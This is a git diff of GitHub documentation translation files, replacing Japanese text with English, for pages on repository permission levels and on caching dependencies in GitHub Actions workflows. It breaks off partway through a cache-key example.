a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md +++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md @@ -1,6 +1,6 @@ --- -title: ユーザーアカウントのリポジトリ権限レベル -intro: ユーザアカウントが所有するリポジトリには、リポジトリオーナーとコラボレータという 2 つの権限レベルがあります。 +title: Permission levels for a user account repository +intro: 'A repository owned by a user account has two permission levels: the repository owner and collaborators.' redirect_from: - /articles/permission-levels-for-a-user-account-repository - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository @@ -14,85 +14,78 @@ topics: - Accounts shortTitle: Permission user repositories --- +## About permissions levels for a user account repository -## ユーザーアカウントのリポジトリ権限レベルについて +Repositories owned by user accounts have one owner. Ownership permissions can't be shared with another user account. -ユーザアカウントが所有するリポジトリのオーナーは 1 人です。 所有権の権限を別のユーザアカウントと共有することはできません。 - -{% data variables.product.product_name %} のユーザをコラボレータとしてリポジトリに{% ifversion fpt or ghec %}招待{% else %}追加{% endif %}することもできます。 詳しい情報については、「[コラボレータを個人リポジトリに招待する](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)」を参照してください。 +You can also {% ifversion fpt or ghec %}invite{% else %}add{% endif %} users on {% data variables.product.product_name %} to your repository as collaborators. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)." {% tip %} -**参考:** ユーザアカウントが所有しているリポジトリに対して、より精細なアクセス権が必要な場合には、リポジトリを Organization に移譲することを検討してください。 詳細は「[リポジトリを移譲する](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)」を参照してください。 +**Tip:** If you require more granular access to a repository owned by your user account, consider transferring the repository to an organization. For more information, see "[Transferring a repository](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)." {% endtip %} -## ユーザアカウントが所有しているリポジトリのオーナーアクセス権 +## Owner access for a repository owned by a user account -リポジトリオーナーは、リポジトリを完全に制御することができます。 コラボレータが実行できるアクションに加えて、リポジトリオーナーは次のアクションを実行できます。 +The repository owner has full control of the repository. In addition to the actions that any collaborator can perform, the repository owner can perform the following actions. -| アクション | 詳細情報 | -|:------------------------------------------------------------------------------------------------------------------------------ |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| {% ifversion fpt or ghec %}コラボレータを招待{% else %}コラボレータを追加{% endif %} | | -| [個人リポジトリへのコラボレータの招待](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository) | | -| リポジトリの表示変更 | 「[リポジトリの可視性を設定する](/github/administering-a-repository/setting-repository-visibility)」 |{% ifversion fpt or ghec %} -| リポジトリとのインタラクションの制限 | 「[リポジトリでのインタラクションを制限する](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)」 |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -| デフォルトブランチを含むブランチ名の変更 | 「[ブランチ名を変更する](/github/administering-a-repository/renaming-a-branch)」 -{% endif %} -| 保護されたブランチで、レビューの承認がなくてもプルリクエストをマージする | [保護されたブランチについて](/github/administering-a-repository/about-protected-branches) | -| リポジトリを削除する | 「[リポジトリを削除する](/github/administering-a-repository/deleting-a-repository)」 | -| リポジトリのトピックの管理 | 「[トピックでリポジトリを分類する](/github/administering-a-repository/classifying-your-repository-with-topics)」 |{% ifversion fpt or ghec %} -| リポジトリのセキュリティおよび分析設定の管理 | 「[リポジトリのセキュリティおよび分析設定を管理する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」 |{% endif %}{% ifversion fpt or ghec %} -| プライベートリポジトリの依存関係グラフの有効化 | 「[リポジトリの依存関係を見る](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)」 |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %} -| パッケージの削除および復元 | 「[パッケージを削除および復元する](/packages/learn-github-packages/deleting-and-restoring-a-package)」 |{% endif %}{% ifversion ghes = 3.0 or ghae %} -| パッケージの削除 | 「[パッケージを削除する](/packages/learn-github-packages/deleting-a-package)」 -{% endif %} -| リポジトリのソーシャルメディア向けプレビューのカスタマイズ | 「[リポジトリのソーシャルメディア向けプレビューをカスタマイズする](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)」 | -| リポジトリからのテンプレートの作成 | 「[テンプレートリポジトリを作成する](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)」 |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| Control access to {% data variables.product.prodname_dependabot_alerts %} alerts for vulnerable dependencies | 「[リポジトリのセキュリティおよび分析設定を管理する](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)」 |{% endif %}{% ifversion fpt or ghec %} -| リポジトリで {% data variables.product.prodname_dependabot_alerts %} を閉じる | [リポジトリ内の脆弱な依存関係を表示・更新する](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository) | -| プライベートリポジトリのデータ利用の管理 | 「[プライベートリポジトリのデータ使用設定を管理する](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)」 -{% endif %} -| リポジトリのコードオーナーを定義する | 「[コードオーナー'について](/github/creating-cloning-and-archiving-repositories/about-code-owners)」 | -| リポジトリのアーカイブ | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %} -| セキュリティアドバイザリの作成 | 「[{% data variables.product.prodname_security_advisories %} について](/github/managing-security-vulnerabilities/about-github-security-advisories)」 | -| スポンサーボタンの表示 | 「[リポジトリにスポンサーボタンを表示する](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)」 |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %} -| プルリクエストの自動マージを許可または禁止 | 「[リポジトリ内のプルリクエストの自動マージを管理する](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)」| {% endif %} +| Action | More information | +| :- | :- | +| {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" | +| Change the visibility of the repository | "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" |{% ifversion fpt or ghec %} +| Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| Rename a branch, including the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} +| Merge a pull request on a protected branch, even if there are no approving reviews | "[About protected branches](/github/administering-a-repository/about-protected-branches)" | +| Delete the repository | "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)" | +| Manage the repository's topics | "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %} +| Manage security and analysis settings for the repository | "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %} +| Enable the dependency graph for a private repository | "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %} +| Delete and restore packages | "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" |{% endif %}{% ifversion ghes = 3.0 or ghae %} +| Delete packages | "[Deleting packages](/packages/learn-github-packages/deleting-a-package)" |{% endif %} +| Customize the repository's social media preview | "[Customizing your repository's social media preview](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" | +| Create a template from the repository | "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| Control access to {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies | "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %} +| Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" | +| Manage data use for a private repository | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"|{% endif %} +| Define code owners for the repository | "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)" | +| Archive the repository | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %} +| Create security advisories | "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)" | +| Display a sponsor button | "[Displaying a sponsor button in your repository](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)" |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %} +| Allow or disallow auto-merge for pull requests | "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %} -## ユーザアカウントが所有しているリポジトリに対するコラボレータアクセス権 +## Collaborator access for a repository owned by a user account -個人リポジトリのコラボレータは、リポジトリのコンテンツをプル（読み取り）したり、リポジトリに変更をプッシュ（書き込み）したりすることができます。 +Collaborators on a personal repository can pull (read) the contents of the repository and push (write) changes to the repository. {% note %} -**メモ:** プライベートリポジトリでは、リポジトリオーナーはコラボレーターに書き込みアクセスしか付与できません。 コラボレーターが、ユーザアカウントによって所有されているリポジトリに対して「読み取りのみ」アクセス権を持つことはできません。 +**Note:** In a private repository, repository owners can only grant write access to collaborators. Collaborators can't have read-only access to repositories owned by a user account. {% endnote %} -コラボレータは、次のアクションを実行することもできます。 +Collaborators can also perform the following actions. -| アクション | 詳細情報 | -|:------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| リポジトリのフォーク | 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」 |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -| デフォルトブランチ以外のブランチ名の変更 | 「[ブランチ名を変更する](/github/administering-a-repository/renaming-a-branch)」 -{% endif %} -| リポジトリ内のコミット、プルリクエスト、Issue に関するコメントの作成、編集、削除 |
                    • 「[About issues](/github/managing-your-work-on-github/about-issues)」
                    • "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
                    • "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"
                    | -| リポジトリ内の Issue の作成、割り当て、クローズ、再オープン | 「[Issue で作業を管理する](/github/managing-your-work-on-github/managing-your-work-with-issues)」 | -| リポジトリ内の Issue とプルリクエストのラベル管理 | 「[Issue とプルリクエストのラベル付け](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)」 | -| リポジトリ内の Issue とプルリクエストのマイルストーン管理 | [Issueやプルリクエストのためのマイルストーンの作成と編集](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests) | -| リポジトリ内の Issue またはプルリクエストを重複としてマーク | 「[重複した Issue やプルリクエストについて](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)」 | -| リポジトリ内のプルリクエストの作成、マージ、クローズ | 「[プルリクエストで、作業に対する変更を提案する](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)」 |{% ifversion fpt or ghae or ghes > 3.0 or ghec %} -| プルリクエストの自動マージの有効化または無効化 | 「[プルリクエストを自動的にマージする](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)」{% endif %} -| リポジトリ内のプルリクエストに提案された変更を適用 | 「[プルリクエストでのフィードバックを取り込む](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)」 | -| リポジトリのフォークからプルリクエストを作成 | [フォークからプルリクエストを作成する](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork) | -| プルリクエストのマージ可能性に影響するプルリクエストについてレビューを送信 | 「[プルリクエストで提案された変更をレビューする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)」 | -| リポジトリ用のウィキの作成と編集 | 「[ウィキについて](/communities/documenting-your-project-with-wikis/about-wikis)」 | -| リポジトリ用のリリースの作成と編集 | 「[リポジトリのリリースを管理する](/github/administering-a-repository/managing-releases-in-a-repository)」 | -| リポジトリのコードオーナーの定義 | 「[コードオーナーについて](/articles/about-code-owners)」 |{% ifversion fpt or ghae or ghec %} -| パッケージの公開、表示、インストール | 「[パッケージの公開と管理](/github/managing-packages-with-github-packages/publishing-and-managing-packages)」 -{% endif %} -| リポジトリでコラボレーターである自身を削除する | [コラボレーターのリポジトリから自分を削除する](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository) | +| Action | More information | +| :- | :- | +| Fork the repository | "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| Rename a branch other than the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} +| Create, edit, and delete comments on commits, pull requests, and issues in the repository |
                    • "[About issues](/github/managing-your-work-on-github/about-issues)"
                    • "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
                    • "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"
                    | +| Create, assign, close, and re-open issues in the repository | "[Managing your work with issues](/github/managing-your-work-on-github/managing-your-work-with-issues)" | +| Manage labels for issues and pull requests in the repository | "[Labeling issues and pull requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)" | +| Manage milestones for issues and pull requests in the repository | "[Creating and editing milestones for issues and pull requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)" | +| Mark an issue or pull request in the repository as a duplicate | "[About duplicate issues and pull requests](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)" | +| Create, merge, and close pull requests in the repository | "[Proposing changes to your work with pull requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %} +| Enable and disable auto-merge for a pull request | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %} +| Apply suggested changes to pull requests in the repository |"[Incorporating feedback in your pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)" | +| Create a pull request from a fork of the repository | "[Creating a pull request from a fork](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)" | +| Submit a review on a pull request that affects the mergeability of the pull request | "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" | +| Create and edit a wiki for the repository | "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" | +| Create and edit releases for the repository | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)" | +| Act as a code owner for the repository | "[About code owners](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %} +| Publish, view, or install packages | "[Publishing and managing packages](/github/managing-packages-with-github-packages/publishing-and-managing-packages)" |{% endif %} +| Remove themselves as collaborators on the repository | "[Removing yourself from a collaborator's repository](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)" | -## 参考リンク +## Further reading - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md b/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md index d24fd1b4ec..603f7c540d 100644 --- a/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md +++ b/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md @@ -1,7 +1,7 @@ --- -title: 依存関係をキャッシュしてワークフローのスピードを上げる -shortTitle: 依存関係のキャッシング -intro: ワークフローを高速化して効率を上げるために、依存関係や広く再利用されるファイルに対するキャッシュを作成して利用できます。 +title: Caching dependencies to speed up workflows +shortTitle: Caching dependencies +intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.' redirect_from: - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows @@ -15,59 +15,82 @@ topics: - Workflows --- -## ワークフローの依存関係のキャッシングについて +## About caching workflow dependencies -ワークフローの実行は、しばしば他の実行と同じ出力あるいはダウンロードされた依存関係を再利用します。 たとえばMaven、Gradle、npm、Yarnといったパッケージ及び依存関係管理ツールは、ダウンロードされた依存関係のローカルキャッシュを保持します。 +Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies. -{% data variables.product.prodname_dotcom %}ホストランナー上のジョブは、クリーンな仮想環境で開始され、依存関係を毎回ダウンロードしなければならず、ネットワークの利用率を増大させ、実行時間が長くなり、コストが高まってしまいます。 これらのファイルの再生成にかかる時間を短縮しやすくするために、{% data variables.product.prodname_dotcom %}はワークフロー内で頻繁に使われる依存関係をキャッシュできます。 +Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean virtual environment and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. To help speed up the time it takes to recreate these files, {% data variables.product.prodname_dotcom %} can cache dependencies you frequently use in workflows. -ジョブのために依存関係をキャッシュするには、{% data variables.product.prodname_dotcom %}の`cache`アクションを使わなければなりません。 このアクションは、ユニークなキーで指定されるキャッシュを取得します。 詳しい情報については「[`actions/cache`](https://github.com/actions/cache)」を参照してください。 +To cache dependencies for a job, you'll need to use {% data variables.product.prodname_dotcom %}'s `cache` action. The action retrieves a cache identified by a unique key. For more information, see [`actions/cache`](https://github.com/actions/cache). -Ruby gem をキャッシュする場合は、代わりに、開始時にバンドルインストールをキャッシュ可能な Ruby で維持されているアクションを使用することを検討してください。 詳しい情報については、[`ruby/setup-ruby`](https://github.com/ruby/setup-ruby#caching-bundle-install-automatically) を参照してください。 +If you are caching the package managers listed below, consider using the respective setup-* actions, which require almost zero configuration and are easy to use. -To cache and restore dependencies for npm, Yarn, or pnpm, you can use the [`actions/setup-node` action](https://github.com/actions/setup-node). - -Gradle and Maven caching is available with [`actions/setup-java` action](https://github.com/actions/setup-java). + + + + + + + + + + + + + + + + + + + + + + + + + +
                    Package managerssetup-* action for caching
                    npm, yarn, pnpmsetup-node
                    pip, pipenvsetup-python
                    gradle, mavensetup-java
                    ruby gemssetup-ruby
                    {% warning %} -**警告**: パブリックリポジトリのキャッシュには、センシティブな情報を保存しないことをおすすめします。 たとえばキャッシュパス内のファイルに保存されたアクセストークンあるいはログインクレデンシャルなどがセンシティブな情報です。 また、`docker login`のようなコマンドラインインターフェース（CLI）プログラムは、アクセスクレデンシャルを設定ファイルに保存することがあります。 読み取りアクセスを持つ人は誰でも、リポジトリにプルリクエストを作成し、キャッシュの内容にアクセスできます。 リポジトリのフォークも、ベースブランチ上にプルリクエストを作成し、ベースブランチ上のキャッシュにアクセスできます。 +**Warning**: We recommend that you don't store any sensitive information in the cache of public repositories. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of the cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch. {% endwarning %} -## 成果物の比較と依存関係のキャッシング +## Comparing artifacts and dependency caching -成果物とキャッシングは、{% data variables.product.prodname_dotcom %}にファイルを保存できるようにするので似ていますが、それぞれの機能のユースケースは異なっており、入れ替えて使うことはできません。 +Artifacts and caching are similar because they provide the ability to store files on {% data variables.product.prodname_dotcom %}, but each feature offers different use cases and cannot be used interchangeably. -- キャッシングは、ジョブやワークフローの実行間で頻繁に変化しないファイルを再利用したいときに使ってください。 -- ジョブによって生成されたファイルをワークフローの終了後に見るために保存したい場合に成果物を使ってください。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。 +- Use caching when you want to reuse files that don't change often between jobs or workflow runs. +- Use artifacts when you want to save files produced by a job to view after a workflow has ended. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -## キャッシュへのアクセスについての制限 +## Restrictions for accessing a cache -`cache` アクションの `v2` を使用すると、`GITHUB_REF` を含むイベントによってトリガーされるワークフローのキャッシュにアクセスできます。 `cache` アクションの `v1` を使用している場合、`pull_request` の `closed` イベントを除いて、`push` イベントと `pull_request` イベントによってトリガーされるワークフローでのみキャッシュにアクセスできます。 詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。 +With `v2` of the `cache` action, you can access the cache in workflows triggered by any event that has a `GITHUB_REF`. If you are using `v1` of the `cache` action, you can only access the cache in workflows triggered by `push` and `pull_request` events, except for the `pull_request` `closed` event. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -ワークフローは、現在のブランチ、ベースブランチ（フォークされたリポジトリのベースブランチを含む）、またはデフォルトブランチ（通常は `main`）で作成されたキャッシュにアクセスして復元できます。 たとえば、デフォルトブランチで作成されたキャッシュは、どのPull Requestからもアクセスできます。 また、`feature-b` ブランチに `feature-a` ベースブランチがある場合、`feature-b` でトリガーされたワークフローは、デフォルトのブランチ（`main`）、`feature-a`、および `feature-b` で作成されたキャッシュにアクセスできます。 +A workflow can access and restore a cache created in the current branch, the base branch (including base branches of forked repositories), or the default branch (usually `main`). For example, a cache created on the default branch would be accessible from any pull request. Also, if the branch `feature-b` has the base branch `feature-a`, a workflow triggered on `feature-b` would have access to caches created in the default branch (`main`), `feature-a`, and `feature-b`. -Access restrictions provide cache isolation and security by creating a logical boundary between different branches. たとえば、`feature-a` ブランチ（ベース `main` を使用）向けに作成されたキャッシュは、`feature-b` ブランチ（ベース `main` を使用）のPull Requestにアクセスできません。 +Access restrictions provide cache isolation and security by creating a logical boundary between different branches. For example, a cache created for the branch `feature-a` (with the base `main`) would not be accessible to a pull request for the branch `feature-b` (with the base `main`). Multiple workflows within a repository share cache entries. A cache created for a branch within a workflow can be accessed and restored from another workflow for the same repository and branch. -## `cache`アクションの利用 +## Using the `cache` action -`cache`アクションは、提供された`key`に基づいてキャッシュをリストアしようとします。 このアクションは、キャッシュを見つけるとそのキャッシュされたファイルを設定された`path`にリストアします。 +The `cache` action will attempt to restore a cache based on the `key` you provide. When the action finds a cache, the action restores the cached files to the `path` you configure. -正確なマッチがなければ、ジョブが成功したならこのアクションは新しいキャッシュエントリを作成します。 新しいキャッシュは提供された`key`を使い、`path`ディレクトリ内にファイルを保存します。 +If there is no exact match, the action creates a new cache entry if the job completes successfully. The new cache will use the `key` you provided and contains the files in the `path` directory. -既存のキャッシュに`key`がマッチしなかった場合に使われる、`restore-keys`のリストを提供することもできます。 `restore-keys`のリストは、 `restore-keys`がキャッシュキーと部分的にマッチできるので、他のブランチからのキャッシュをリストアする場合に役立ちます。 `restore-keys`のマッチに関する詳しい情報については「[キャッシュキーのマッチ](#matching-a-cache-key)」を参照してください。 +You can optionally provide a list of `restore-keys` to use when the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can partially match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)." -詳しい情報については「[`actions/cache`](https://github.com/actions/cache)」を参照してください。 +For more information, see [`actions/cache`](https://github.com/actions/cache). -### `cache` アクションの入力パラメータ +### Input parameters for the `cache` action -- `key`: **必須** このキーはキャッシュの保存時に作成され、キャッシュの検索に使われます。 変数、コンテキスト値、静的な文字列、関数の任意の組み合わせが使えます。 キーの長さは最大で512文字であり、キーが最大長よりも長いとアクションは失敗します。 -- `path`: **必須** ランナーがキャッシュあるいはリストアをするファイルパス。 このパスは、絶対パスでも、ワーキングディレクトリからの相対パスでもかまいません。 - - パスはディレクトリまたは単一ファイルのいずれかで、glob パターンがサポートされています。 - - `cache` アクションの `v2` では、単一のパスを指定することも、別々の行に複数のパスを追加することもできます。 例: +- `key`: **Required** The key created when saving a cache and the key used to search for a cache. Can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail. +- `path`: **Required** The file path on the runner to cache or restore. The path can be an absolute path or relative to the working directory. + - Paths can be either directories or single files, and glob patterns are supported. + - With `v2` of the `cache` action, you can specify a single path, or you can add multiple paths on separate lines. For example: ``` - name: Cache Gradle packages uses: actions/cache@v2 @@ -76,16 +99,16 @@ Multiple workflows within a repository share cache entries. A cache created for ~/.gradle/caches ~/.gradle/wrapper ``` - - `cache` アクションの `v1` では、単一のパスのみがサポートされ、かつそれがディレクトリである必要があります。 単一のファイルをキャッシュすることはできません。 -- `restore-keys`: **オプション** `key`に対するキャッシュヒットがなかった場合にキャッシュを見つけるために使われる代理キーの順序付きリスト。 + - With `v1` of the `cache` action, only a single path is supported and it must be a directory. You cannot cache a single file. +- `restore-keys`: **Optional** An ordered list of alternative keys to use for finding the cache if no cache hit occurred for `key`. -### `cache`アクションの出力パラメータ +### Output parameters for the `cache` action -- `cache-hit`: キーの完全一致が見つかったことを示すブール値。 +- `cache-hit`: A boolean value to indicate an exact match was found for the key. -### `cache` アクションの使用例 +### Example using the `cache` action -以下の例では、`package-lock.json`ファイル内のパッケージが変更された場合、あるいはランナーのオペレーティングシステムが変更された場合に新しいキャッシュが作成されます。 キャッシュキーはコンテキストと式を使い、ランナーのオペレーティングシステムと`package-lock.json`ファイルのSHA-256ハッシュを含むキーを生成します。 +This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file. {% raw %} ```yaml{:copy} @@ -105,7 +128,7 @@ jobs: env: cache-name: cache-node-modules with: - # npm キャッシュファイルは Linux/macOS の `~/.npm` に保存される + # npm cache files are stored in `~/.npm` on Linux/macOS path: ~/.npm key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }} restore-keys: | @@ -124,23 +147,23 @@ jobs: ``` {% endraw %} -`key`が既存のキャッシュにマッチした場合はキャッシュヒットと呼ばれ、このアクションはキャッシュされたファイルを`path`ディレクトリにリストアします。 +When `key` matches an existing cache, it's called a cache hit, and the action restores the cached files to the `path` directory. -`key`が既存のキャッシュにマッチしなかった場合はキャッシュミスと呼ばれ、ジョブが成功して完了したなら新しいキャッシュが作成されます。 キャッシュミスが生じた場合、このアクションは`restore-keys`と呼ばれる代理キーを検索します。 +When `key` doesn't match an existing cache, it's called a cache miss, and a new cache is created if the job completes successfully. When a cache miss occurs, the action searches for alternate keys called `restore-keys`. -1. `restore-keys`が渡された場合、`cache`アクションは`restore-keys`のリストにマッチするキャッシュを順番に検索します。 - - 完全なマッチがあった場合、アクションはそのファイルを`path`ディレクトリ中のキャッシュにリストアします。 - - 完全なマッチがなかった場合、アクションはリストアキーに対する部分一致を検索します。 アクションが部分一致を見つけた場合、最も最近のキャッシュが`path`ディレクトリにリストアされます。 -1. `cache` アクションが完了し、ジョブ内の次のワークフローステップが実行されます。 -1. ジョブが成功して完了したなら、アクションは`path`ディレクトリの内容で新しいキャッシュを作成します。 +1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`. + - When there is an exact match, the action restores the files in the cache to the `path` directory. + - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory. +1. The `cache` action completes and the next workflow step in the job runs. +1. If the job completes successfully, the action creates a new cache with the contents of the `path` directory. -複数のディレクトリにファイルをキャッシュするには、各ディレクトリごとに[`cache`](https://github.com/actions/cache) アクションを使うステップが必要です。 キャッシュをいったん作成すると、既存のキャッシュの内容を変更することはできませんが、新しいキーで新しいキャッシュを作成することはできます。 +To cache files in more than one directory, you will need a step that uses the [`cache`](https://github.com/actions/cache) action for each directory. Once you create a cache, you cannot change the contents of an existing cache but you can create a new cache with a new key. -### コンテキストを使ったキャッシュキーの作成 +### Using contexts to create cache keys -キャッシュキーには、コンテキスト、関数、リテラル、{% data variables.product.prodname_actions %}がサポートする演算子を含めることができます。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)." +A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Expressions](/actions/learn-github-actions/expressions)." -式を使って`key`を作成すれば、依存関係が変化したときに自動的に新しいキャッシュを作成できます。 たとえばnpmの`package-lock.json`ファイルのハッシュを計算する式を使って`key`を作成できます。 +Using expressions to create a `key` allows you to automatically create a new cache when dependencies have changed. For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file. {% raw %} ```yaml @@ -148,19 +171,19 @@ npm-${{ 